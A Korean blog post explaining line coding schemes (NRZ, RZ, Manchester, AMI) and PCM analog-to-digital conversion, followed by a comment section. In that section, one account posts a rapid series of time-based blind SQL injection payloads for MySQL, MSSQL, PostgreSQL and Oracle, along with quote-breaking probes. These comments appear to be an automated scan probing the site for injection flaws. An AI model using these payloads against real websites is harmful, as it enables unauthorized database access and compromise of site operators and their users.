네트워크프로토콜

[네트워크프로토콜] 디지털 전송

by VICENTE97P4


March 16, 2022, 2:49 p.m.


digital to digital 변환에는 line coding이 쓰입니다.

다른 기법들도 있지만 line coding이 가장 대표적인 방법입니다.

수신 측에서는 line decoding을 해서 원래 신호로 되돌리죠.


서로 다른 기기끼리는 동기가 안 맞는 경우가 대부분입니다.

개발자 분들이시면 UTC 표준이 있잖아? 라고 생각하실 수도 있는데 이건 단위가 ms입니다.

통신에서는 ns 정도의 세밀한 동기가 필요해서 UTC로는 안됩니다.


위 그림에서 r은 ratio를 뜻합니다.

a의 경우 1bit 당 1개의 signal로 보내는 경우입니다. 이 경우 r=1입니다.


b. 1bit 당 2개의 signal로 보냅니다. 이 경우 r = 1/2입니다.

아니 1bit당 뭐하러 2개의 신호로 보내냐? 낭비가 아니냐? 라고 생각하실 수 있습니다.

그리고 실제로 이는 단점이기도 합니다.

그러나 bit 중간에 transition이 있으면 동기를 맞추기에 좋기 때문에 이런 방식이 사용됩니다.


c. 신호 하나에 2bits를 보내는 경우입니다.

r=2입니다.


d. 4bit를 3개의 신호로 보내는 경우입니다.

r=4/3입니다.


신호의 data의 단위는 bps(N), 신호의 단위는 baud rate(S)로 표기합니다.

S = c * N * 1/r

여기서 c는 평균을 위한 비례상수로 통상 1/2입니다.

이 공식을 조금 변형해서 N을 좌변에 둬봅시다.

N = 1/c * s * r

이전 포스트에서 작성했던 Nyquist 공식을 봅시다.

N = 2 * bw * log(L)(밑은 2입니다.)

1/c = 2에, r은 log(L)과 연관성이 있음을 알 수 있습니다.



위 그림에서 송신측과 수신측의 clock이 다릅니다.

그래서 a는 송신측이고 자신의 clock에 맞춰 보냈는데,

수신측인 b는 다른 clock을 가지고 있어서 받아들이는 data가 다릅니다.

a는 1을 1번 보냈지만 b는 11로 인식하게 되는 참사가 발생하게 됩니다. 그래서 동기가 중요합니다.


동기의 문제는 data rate이 클수록 영향이 큽니다. 예를 들어봅시다.

송신기와 수신기의 clock이 0.1% 차이가 난다고 해봅시다.(수신측이 더 짧은 clock)

그럼 1000bits를 보내면 수신측은 1001bits를 받습니다. 1bit 차이죠.

하지만 1000000bits를 보내면 수신측은 1001000bits를 받고 1000bits 차이가 발생합니다.

(그런데 실제로는 이보다도 차이가 적어서 괜찮습니다.)


Line coding의 종류에 대해 하나씩 알아봅시다.


Unipolar NRZ(None Return to Zero)


unipolar: 극성 1개만 사용한다는 의미입니다.


0을 표현할 때 음극이 아닌 그냥 0V로 표현했습니다.

power는 1/2 * V^2입니다.


Polar NRZ


통신에서 많이 쓰이는 방법입니다.



NRZ-L: level을 유지합니다.

NRZ-Z: 다음에 나오는 bit가 1일 때 극성을 변화시킵니다.


위 그림을 보면 이해가 되실 겁니다.

NRZ-L은 1은 언제나 -5V, 0은 5V고(1이 -5V인건 여기서 임의로 정한겁니다. level을 유지하는 것만 집중합시다!)

NRZ-Z는 뒤에 1이 나오면 극성이 변합니다.

둘 다 average signal rate는 N/2입니다.


신호의 단위는 동일하게 baud rate입니다.


NRZ 방식의 단점은 DC(직류)를 갖는다는 것입니다.

DC가 통과할 수 있는 전송매체는 제한되어있기 때문에 단점이라 볼 수 있습니다.


Line coding 선택 시 3가지 기준은

1. DC 여부, 2. Bandwidth 3. 동기(sync)

입니다.


Polar RZ


반드시 중간에 0으로 돌아옵니다.

1bit 당 2개의 신호가 필요해서 r=1/2, average signal= N입니다.

1bit 당 신호가 2배씩 필요하기 때문이죠.

또한 중간에 transition이 있어 동기를 맞추기 좋습니다.

그런데 bandwidth가 늘어난다는 단점이 있습니다.

그리고 0은 -, 1은 + 극성을 띄는데 절대다수의 경우 0과 1의 개수가 동일하지 않고 다릅니다.

즉, DC가 발생한다는 단점이 있습니다.


Polar biphase: Manchester


polar 방식은 NRZ. RZ 모두 DC라는 단점을 갖습니다.

하지만 biphase 방식은 DC를 갖지 않습니다.

Manchester

- bit 중간에 항상 transition이 발생합니다. 마지막 transition 방향이 올라가면 1, 내려가면 0입니다.

- transition이 있어 동기를 맞추기 좋습니다.

r = 1/2, average signal = N입니다. 1bit 당 신호가 2개씩 필요하기 때문이죠.


Differential manchester

다음 bit이 0일 때는 transition하고 1일 때는 안합니다.

NRZ-I와 반대입니다.


Manchester 방식은 동기를 맞추기는 좋으나 NRZ보다 bandwidth가 2배 더 필요합니다.


Bipolar


bipolar 방식은 +, -에 이어 0까지 사용합니다.


AMI(Alternate Mark Inversion) (mark는 1을 의미합니다.)

1일 때 pulse를 교대로 생성하는 방식입니다.


Pseudotenary

0일 때 pulse를 교대로 생성합니다.


Analog to digital 변환


PCM 방식을 대표적으로 이용합니다.


PCM


PCM(Pulse Code Modulation)

sampling -> quantizing -> encoding 과정을 거쳐 digital 신호로 변환합니다.


Sampling


Ts 주기로 sampling합니다.

a. 이상적인 sampling입니다. 그런데 실제로는 측정하는 시간도 필요하기 때문에 b, c 방식만 가능합니다.

b. 파형을 따라 sampling 합니다.

c. 측정 시간 동안 값을 유지시키는 기법입니다.


Nyquist 이론: sampling rate는 가장 높은 주파수의 2배 이상으로 해줘야만 복원이 가능하다는 이론입니다.

왜 그런지는 아래 예시를 봅시다.


a. sampling rate를 최대 주파수의 2배로 한 경우입니다.

1cycle에 2번 sampling 합니다. 복원을 하면 대강의 파형을 알 수 있습니다.

b. 1cycle에 4번 sampling 한 경우입니다.

c. 1cycle에 1번만 sampling 한 경우입니다. 복원 시 다른 파형이 나옵니다.

따라서 최대 주파수의 최소 2배 이상의 sampling이 필요함을 알 수 있습니다.


Quantizing



sampling한 값을 반올림하여 정수로 나타내는 과정입니다.

이 과정에서 값을 손실이 생기는데 보통 손실이 매우 작아서 괜찮습니다.


Encoding

정량화한 진폭의 크기를 bit로 나타내는 과정입니다.

현재 전화는 1 sample 당 8bit를 사용합니다.

이전 포스트에서 전화는 4kHz 정도의 대역폭을 가진다고 했습니다.

그럼 sampling rate는 2 * 4000 = 8000Hz입니다.(sampling에는 최대 주파수의 2배가 필요하다고 했습니다.)

그리고 bit rate는 2 * 4000 * 8 = 64kbps가 됩니다.


PCM decoder


digital 신호를 filter 거쳐서 analog 신호로 복원해줍니다.

네트워크프로토콜    26   view  1181
Log in and leave a comment
fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

ofYdxL3f

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 2+110-110-1=0+0+0+1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 3+110-110-1=0+0+0+1

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

fvJNka5k'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1 OR 964=(SELECT 964 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1) OR 230=(SELECT 230 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

-1)) OR 714=(SELECT 714 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

6Tn9Xd0z' OR 280=(SELECT 280 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

sf6ixVhU') OR 966=(SELECT 966 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

Xmw7qWCS')) OR 299=(SELECT 299 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

'"

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:32 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:32 p.m.

@@1NRGv

Updated: Feb. 22, 2025, 5:32 p.m.